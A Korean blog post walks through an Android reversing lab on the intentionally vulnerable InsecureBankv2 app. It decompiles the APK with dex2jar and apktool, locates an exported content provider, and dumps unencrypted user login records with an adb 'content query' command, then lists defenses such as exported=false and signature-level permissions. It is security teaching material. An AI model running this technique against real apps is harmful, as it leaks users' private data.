상세 컨텐츠

본문 제목

[Android Reversing] Insecure Content Provider access (Content Provider 취약점)

REVERSING/Android

by koharin 2021. 7. 6. 18:55

본문

728x90
반응형

Content Provider


기본적으로 애플리케이션 데이터에 다른 애플리케이션이 접근할 수 없다. 다른 애플리케이션과 데이터를 공유하고 싶으면, Content Provider를 인터페이스로 애플리케이션 간에 데이터를 공유하는데 사용할 수 있다.

Server Application: 데이터를 제공하는 앱, 서버 앱에서 Content Provider를 정의한다.

Client Application: 데이터를 공유받는 앱으로 Content Resolver를 사용해서 서버 앱의 데이터를 사용한다.

특정 Content Provider의 URI를 알 수 있는 애플리케이션은 provider 애플리케이션의 데이터베이스에 데이터를 insert, update, delete, query 할 수 있다.

즉, content provider을 안다면 information leak이 가능하다.

Permission 사용해서 Content Provider에 접근 제어할 수 있다.

 

 

Vulnerability


AndroidManifest.xml

 

AndroidManifest.xml 파일에 하나의 content provider가 등록되어 있다.

android:exported="true" 로 되어있어 해당 애플리케이션의 content provider는 모든 다른 애플리케이션에 접근할 수 있도록 되어있다.

 

Content Provider 컴포넌트로 데이터를 공유하는 서버 앱에 강력한 Permission 설정이 이루어지지 않으면 서버 앱의 데이터를 조작할 수 있다.

 

1. Decompile

dex2jar, apktool과 같은 APK Decompiler를 사용하여 앱을 디컴파일하여 AndroidManifest.xml이나 classes.dex 파일에서 Content Provider 정보(DB Schema, URI, Permission)를 추출할 수 있다.

추출한 Content Provider 정보(DB Schema, URI, Permission)를 이용하여 Content Resolver 앱(Resolver APK)을 작성해 데이터를 조작할 수 있다.

Content Provider를 이용해서 데이터를 공유하려면 Java 소스코드에 데이터베이스 정보를 명시해야 한다. dex2jar 디컴파일 툴을 사용하면 Content Provider의 데이터베이스 정보를 추출할 수 있다.

 

1) dex2jar 디컴파일 툴 이용한 데이터베이스 추출

$ dex2jar-2.0\d2j-dex2jar.bat Android-InsecureBankv2\InsecureBankv2.apk

jar 파일을 JD-GUI로 열면 Java 코드를 확인할 수 있다.

db name, table name, db table 생성 쿼리, content provider URL 확인
db 이름, names 테이블을 생성하는 쿼리 확인

TrackUserContentProvider.class 에서 db 이름(mydb), 생성하는 테이블 이름(names), 테이블 생성 쿼리, names 테이블 schema, Content Provider URI 정보를 확인할 수 있다.

MYDB.NAMES Schema는 다음과 같다.

Field Type Null Key
id INTEGER NOT NULL PRIMARY KEY
name TEXT NOT NULL  

dex2jar 디컴파일러 이용해서 알 수 있는 Content Provider 정보: DB Schema, URI

 

2) apktool 디컴파일 툴을 사용한 URI, Permission 추출

apktool d InsecureBankv2.apk

Content Provider의 Permission, URL 정보는 apktool로 디코딩한 AndroidManifest.xml 파일에서 확인 가능하다.

AndroidManifest.xml

URI (authorities) : com.android.insecurebankv2.TrackUserContentProvider

apktool 이용한 디컴파일로 알 수 있는 Content Provider 정보: URI, Permission

 

2. 사용자 로그인 기록 정보 유출

1) 로그인

dinesh 2번 jack 3번 dinesh 2번 로그인 진행

 

2) android emulator를 실행하고, platform-tools 경로에 InsecureBankv2.apk를 위치시킨다.

adb shell에서 다음 명령어을 실행한다.

content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
johan@DESKTOP-6LRLRFA D:\platform-tools
$ adb devices
List of devices attached
emulator-5554   device


johan@DESKTOP-6LRLRFA D:\platform-tools
$ adb -s emulator-5554 shell
z3q:/ $ content query --uri content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
Row: 0 id=2, name=dinesh
Row: 1 id=3, name=dinesh
Row: 2 id=7, name=dinesh
Row: 3 id=8, name=dinesh
Row: 4 id=1, name=jack
Row: 5 id=4, name=jack
Row: 6 id=5, name=jack
Row: 7 id=6, name=jack
z3q:/ $

암호화가 되지 않은 사용자의 로그인 기록을 확인 할 수 있다.

 

 

대응 방안


  1. 앱의 소스코드 난독화
  2. android:exported="false" 속성 사용
  3. protectionLevel

Permission이 설정되어 있지 않은 경우 URI를 통해서만 Content Provider을 식별하고 접근 제어할 수 있다. 선언된 Permission에 protectionLevel 속성을 사용하여 강력한 Permission을 선언하도록 한다. (protectionLevel 속성은 필수는 아니다.)

Name Description
normal 기본값. 기능을 사용하기 위한 식별값으로 사용
dangerous 사용자 개인 데이터, 시스템 제어 기능을 식별하는 permission
signature 동일한 서명 값으로 컴파일된 앱끼리 해당 기능을 허용
system 안드로이드 시스템 이미지로 설치되는 앱을 허용

android:protectionLevel="normal" , android:protectionLevel="dangerous" 속성은 Content Provider의 데이터를 보호할 수 없고, protectionLevel이 signature , system 인 경우 Content Provider의 접근 정보를 알아도 동일한 서명 값으로 컴파일된 앱이 아닌 경우 데이터 접근이 불가능하여 Content Provider의 데이터를 보호할 수 있다.

 

Android에서 제공하는 Content Provider의 Permission:

Permission protectionLevel 데이터 탈취 여부
None None 탈취 가능
WRITE_USER_DICTIONARY normal 탈취 가능
READ_CONTACTS dangerous 탈취 가능
ACCOUNT_MANAGER signature 탈취 불가능
BIND_DIRECTORY_SEARCH signature|system 탈취 불가능

안드로이드에서 제공하는 permission에서도 permission이 가지는 protectionLevel에 따라 데이터 탈취 여부가 결정된다.

 

 

Reference


안드로이드 Content Provider 취약성

Exploiting Content Providers

https://developer.android.com/guide/topics/providers/content-provider-basics

 

 

728x90
반응형

관련글 더보기